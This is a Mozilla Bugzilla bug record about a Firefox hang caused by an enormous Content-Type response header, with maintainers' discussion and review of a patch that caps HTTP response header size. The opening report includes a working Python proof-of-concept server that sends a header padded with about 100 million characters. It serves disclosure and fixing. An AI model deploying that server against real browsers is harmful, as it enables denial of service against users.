Closed
Bug 1257782
Opened 8 years ago
Closed 8 years ago
DOS explot - hang with huge content-type header
Categories
(Core :: Networking: HTTP, defect)
Core
Networking: HTTP
Tracking
()
RESOLVED
FIXED
mozilla52
Tracking | Status | |
---|---|---|
firefox52 | --- | fixed |
People
(Reporter: u566539, Assigned: kershaw)
Details
(Keywords: csectype-dos, hang, Whiteboard: [necko-active])
Attachments
(1 file, 3 obsolete files)
7.65 KB,
patch
|
kershaw
:
review+
|
Details | Diff | Splinter Review |
User Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 Steps to reproduce: Firefox dos sploit for latest firefox version (for the bug bounty program) Actual results: Dos exploit (crash) -- exploit code -- import time import BaseHTTPServer # # J3rge dos exploit (firefox) Claes Spett # <claes.spett@gmail.com> # HOST_NAME = '0.0.0.0' PORT_NUMBER = 80 class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_HEAD(s): s.send_header("Content-type", "text/html") s.end_headers() def do_GET(s): buffer = "l" * 99999999 """Respond to a GET request.""" s.send_response(200) s.send_header("Content-type", "text/html"+buffer) s.end_headers() #s.wfile.write(buffer) if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler) print "[*] running firefox (Dos splot server)" try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print time.asctime(), "Server Stops - %s:%s" % (HOST_NAME, PORT_NUMBER)
Comment 1•8 years ago
|
||
Doesn't seem to crash my OS X 64-bit Nightly, but does hang it. Reporter, can you link to a crashreport from about:crashes for the crash you're seeing? Note that for sec-bounty consideration, you'd need to email security@mozilla.org if you haven't done so already . See the bounty process at https://www.mozilla.org/en-US/security/client-bug-bounty/ . Patrick/Valentin, is it feasible to limit header field length to something like 1mb and abort the request if the field is longer than that?
Group: firefox-core-security → core-security
Component: Untriaged → Networking: HTTP
Flags: needinfo?(mcmanus)
Flags: needinfo?(claes.spett)
Keywords: csectype-dos
Product: Firefox → Core
ok will repport to security@mozilla.org try on windows 10
Flags: needinfo?(claes.spett)
Comment 3•8 years ago
|
||
there is already an old and fairly small header size limit (10KB maybe?).. so we should see why this wasn't rejected by that. but in general, there are lots of ways to dos the browser with huge amounts of content, of course.
Flags: needinfo?(mcmanus)
Updated•8 years ago
|
Whiteboard: [necko-backlog]
Updated•8 years ago
|
Summary: DOS explot → DOS explot - hang with huge content-type header
Updated•8 years ago
|
Flags: sec-bounty?
Updated•8 years ago
|
Updated•8 years ago
|
Severity: normal → major
Version: 45 Branch → unspecified
Assignee | ||
Comment 5•8 years ago
|
||
(In reply to Patrick McManus [:mcmanus] from comment #3) > there is already an old and fairly small header size limit (10KB maybe?).. > so we should see why this wasn't rejected by that. > @Patrick, Could you remind where the header size limit is? I can't find something related to size limit in nsHttpRequestHead.cpp. Perhaps I was looking into the wrong place? Thanks.
Assignee: nobody → kechang
Flags: needinfo?(mcmanus)
Whiteboard: [necko-backlog] → [necko-active]
Comment 6•8 years ago
|
||
i don't recall. perhaps I misremember - by spec we don't need a limit but iirc its there somewhere. perhaps its just a cookie thing?
Flags: needinfo?(mcmanus)
Assignee | ||
Comment 7•8 years ago
|
||
(In reply to Patrick McManus [:mcmanus] from comment #6) > i don't recall. perhaps I misremember - by spec we don't need a limit but > iirc its there somewhere. perhaps its just a cookie thing? Since the hang here is caused by the huge content-type string, is it worth to limit the header size although the spec doesn't say that? By the way, chrome is not affected by this huge content-type string. I'll check how they resist this.
Flags: needinfo?(mcmanus)
Comment 8•8 years ago
|
||
I would just be really careful. Any change you make is not really going to make a difference to the DoS landscape (due to so many vectors and the fact that there isn't really an incentive to DoS the client) - but you do run a chance of breaking a use case someone is using. That's not a win. If chrome has a very easy to understand policy (i.e. no particular header bigger than X or no aggregate headers bigger than Y) I think that would be relatively safe to get in line with.. otoh your efforts might be better spent on something else.
Flags: needinfo?(mcmanus)
Assignee | ||
Comment 9•8 years ago
|
||
(In reply to Patrick McManus [:mcmanus] from comment #8) > I would just be really careful. Any change you make is not really going to > make a difference to the DoS landscape (due to so many vectors and the fact > that there isn't really an incentive to DoS the client) - but you do run a > chance of breaking a use case someone is using. That's not a win. > > If chrome has a very easy to understand policy (i.e. no particular header > bigger than X or no aggregate headers bigger than Y) I think that would be > relatively safe to get in line with.. otoh your efforts might be better > spent on something else. Chrome does have an obvious limit for response header size [1], which is 256k. Do you think whether we should do the same in gecko? [1] https://cs.chromium.org/chromium/src/net/http/http_stream_parser.h?q=kHeaderBufInitialSize&sq=package:chromium&l=162&dr=C
Flags: needinfo?(mcmanus)
Comment 10•8 years ago
|
||
I think you can match chrome safely if you think that's helpful
Flags: needinfo?(mcmanus)
Assignee | ||
Comment 11•8 years ago
|
||
A simple patch that adds a limit to HTTP response header size. Hi Patrick, Could you please take a look? I also have some questions below. 1. What is the safest limit we should apply? Is it a good idea to align with chome (256K)? 2. Do we have to create another error code for this, such as NS_ERROR_RESPONSE_HEADER_TOO_BIG? Thanks.
Attachment #8794694 -
Flags: feedback?(mcmanus)
Comment 12•8 years ago
|
||
Comment on attachment 8794694 [details] [diff] [review] WIP Review of attachment 8794694 [details] [diff] [review]: ----------------------------------------------------------------- ::: netwerk/protocol/http/nsHttpTransaction.cpp @@ +1825,5 @@ > nsresult > nsHttpTransaction::ProcessData(char *buf, uint32_t count, uint32_t *countRead) > { > nsresult rv; > + const uint32_t kMaxHttpResponseHeaderSize = 256 * 1024; that needs to be a pref.. access via nsHttphandler start value at 1.5x chrome @@ +1848,5 @@ > } while (rv == NS_ERROR_NET_INTERRUPT); > > + mCurrentHttpResponseHeaderSize += count; > + if (mCurrentHttpResponseHeaderSize > kMaxHttpResponseHeaderSize) { > + return NS_ERROR_FAILURE; NS_ERROR_FILE_TOO_BIG also NSPR LOG
Attachment #8794694 -
Flags: feedback?(mcmanus) → feedback+
Assignee | ||
Comment 13•8 years ago
|
||
Modified based on the last comment. Please have a look. Thanks.
Attachment #8794694 -
Attachment is obsolete: true
Attachment #8803303 -
Flags: review?(mcmanus)
Comment 14•8 years ago
|
||
Comment on attachment 8803303 [details] [diff] [review] patch - v1 Review of attachment 8803303 [details] [diff] [review]: ----------------------------------------------------------------- one thing to double check.. otherwise ok ::: netwerk/protocol/http/nsHttpTransaction.cpp @@ +1845,5 @@ > return rv; > bytesConsumed += localBytesConsumed; > } while (rv == NS_ERROR_NET_INTERRUPT); > > + mCurrentHttpResponseHeaderSize += count; I think that needs to be mCurrentHttpResponseHeaderSize += bytesConsumed, right?
Attachment #8803303 -
Flags: review?(mcmanus)
Assignee | ||
Comment 15•8 years ago
|
||
(In reply to Patrick McManus [:mcmanus] from comment #14) > Comment on attachment 8803303 [details] [diff] [review] > patch - v1 > > Review of attachment 8803303 [details] [diff] [review]: > ----------------------------------------------------------------- > > one thing to double check.. otherwise ok > Thanks for the review. > ::: netwerk/protocol/http/nsHttpTransaction.cpp > @@ +1845,5 @@ > > return rv; > > bytesConsumed += localBytesConsumed; > > } while (rv == NS_ERROR_NET_INTERRUPT); > > > > + mCurrentHttpResponseHeaderSize += count; > > I think that needs to be mCurrentHttpResponseHeaderSize += bytesConsumed, > right? Yes, you are right. It should be bytesConsumed, which represents the real bytes in header. New patch will be uploaded later.
Assignee | ||
Comment 16•8 years ago
|
||
Attachment #8803303 -
Attachment is obsolete: true
Attachment #8803754 -
Flags: review?(mcmanus)
Assignee | ||
Comment 17•8 years ago
|
||
https://treeherder.mozilla.org/#/jobs?repo=try&revision=b2031395a7ca
Updated•8 years ago
|
Attachment #8803754 -
Flags: review?(mcmanus) → review+
Assignee | ||
Comment 18•8 years ago
|
||
Carry reviewer's name.
Attachment #8803754 -
Attachment is obsolete: true
Attachment #8803914 -
Flags: review+
Assignee | ||
Updated•8 years ago
|
Keywords: checkin-needed
Comment 19•8 years ago
|
||
Pushed by cbook@mozilla.com: https://hg.mozilla.org/integration/mozilla-inbound/rev/f73f86848143 Limit the HTTP response header size, r=mcmanus
Keywords: checkin-needed
Comment 20•8 years ago
|
||
bugherder |
https://hg.mozilla.org/mozilla-central/rev/f73f86848143
Status: NEW → RESOLVED
Closed: 8 years ago
status-firefox52:
--- → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla52
You need to log in
before you can comment on or make changes to this bug.
Description
•